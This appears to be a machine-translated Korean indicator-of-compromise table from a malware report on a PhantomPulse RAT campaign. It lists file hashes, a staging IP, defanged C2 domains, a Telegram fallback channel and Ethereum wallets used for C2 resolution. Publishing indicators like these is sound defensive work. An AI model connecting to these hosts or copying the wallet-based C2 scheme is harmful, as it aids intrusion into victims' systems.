이 연구에서는 다음과 같은 관찰 가능성에 대해 논의했습니다.

관측 가능합니다.유형이름참조
70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980SHA-256syncobs.exe팬텀풀 로더
33dacf9f854f636216e5062ca252df8e5bed652efd78b86512f5b868b11ee70fSHA-256팬텀펄스 RAT(최종 페이로드)
195.3.222[.]251IPv4-addr스테이징 서버(PowerShell 스크립트 & 로더 전달)
panel.fefea22134[.]net도메인 이름팬텀펄스 C2 패널
0x666[.]info도메인 이름macOS 드롭퍼 C2 도메인
t[.]me/ax03botURL.macOS 드롭퍼 텔레그램 폴백 C2
0xc117688c530b660e15085bF3A2B664117d8672aA암호화폐 지갑블록체인 C2 해상도용 이더리움 지갑
0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E암호화폐 지갑C2 해상도 지갑을 위한 펀딩 지갑
thoroughly-publisher-troy-clara[.]trycloudflare[.]com도메인 이름이전 PhantomPulse C2(Cloudflare 터널)

이 문서 공유하기